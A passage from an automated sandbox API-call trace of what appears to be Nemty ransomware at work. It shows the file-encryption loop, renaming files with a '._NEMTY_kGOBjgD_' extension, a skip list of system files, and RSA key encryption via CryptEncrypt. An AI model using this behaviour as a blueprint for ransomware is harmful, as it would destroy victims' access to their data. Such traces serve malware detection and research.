nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.173] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.173] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.182] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.182] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.182] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0164.210] CloseHandle (hObject=0xffffffff) returned 0 [0164.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0164.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0164.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0164.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0164.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0164.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0164.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_rainy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_rainy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_rainy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_rainy.png._nemty_kgobjgd_")) returned 0 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.210] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875268b5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875268b5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2cfe8aa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32ae, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_gray_snow.png", cAlternateFileName="")) returned 1 [0164.210] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2=".") returned 1 [0164.210] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="..") returned 1 [0164.210] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="...") returned 1 [0164.210] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="windows") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="$RECYCLE.BIN") returned 1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="rsa") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="NTDETECT.COM") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="ntldr") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="MSDOS.SYS") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="IO.SYS") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="boot.ini") returned 1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="boot.ini") returned 1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="AUTOEXEC.BAT") returned 1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="ntuser.dat") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="desktop.ini") returned 1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="CONFIG.SYS") returned 1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="RECYCLER") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="BOOTSECT.BAK") returned 1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="bootmgr") returned 1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="programdata") returned -1 [0164.211] lstrcmpiW (lpString1="docked_gray_snow.png", lpString2="appdata") returned 1 [0164.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_snow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0164.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_snow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_snow.png", lpUsedDefaultChar=0x0) returned 20 [0164.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0164.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_snow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0164.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_snow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_snow.png", lpUsedDefaultChar=0x0) returned 20 [0164.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0164.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_snow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0164.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_snow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_snow.png", lpUsedDefaultChar=0x0) returned 20 [0164.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0164.211] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_snow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0164.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_snow.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_snow.png", lpUsedDefaultChar=0x0) returned 20 [0164.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0164.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0164.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0164.212] Sleep (dwMilliseconds=0x5) [0164.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15876f50, dwHighDateTime=0x1d561e8)) [0164.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15876f50, dwHighDateTime=0x1d561e8)) [0164.219] GetLastError () returned 0x5 [0164.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.219] GetLastError () returned 0x5 [0164.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0164.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0164.219] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0164.219] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0164.219] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0164.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0164.219] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="HnMPSiVNepzO76jeuaNEGCIVA5/nK/B0JgEbMYavmgV+tM7fgnqeHhgM4Z8Yr0Df\r\nf80tt+oLVD5s18dpt+Mn7MROmx9R1R7U32TUrCeo2ExXJNc3YHRjJ5LjPwFipvKH\r\njHPz++CJkWEQTL6GhwG9fERfgje9NBqmAzQBotKrigtMwAkxq6ZnJqypsNIhe4xf\r\n+FMyVO6UL6caYbY3mkxJUYvnV2EJVuvjigDSTtOcH10+2EI9VrnkHspt/azylII9\r\ngRGR8hcL0IaGH4S5g/ZvIwRgL8n8lJrW55pfCdx6Kv/CzCVk9tepksmxQ+GTcoAo\r\nwBUrlAhI7mkslQZ6+4l5ew==\r\n", pcchString=0x653e91c) returned 1 [0164.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0164.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0164.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0164.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0164.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0164.220] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_snow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.220] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0164.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0164.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.305] 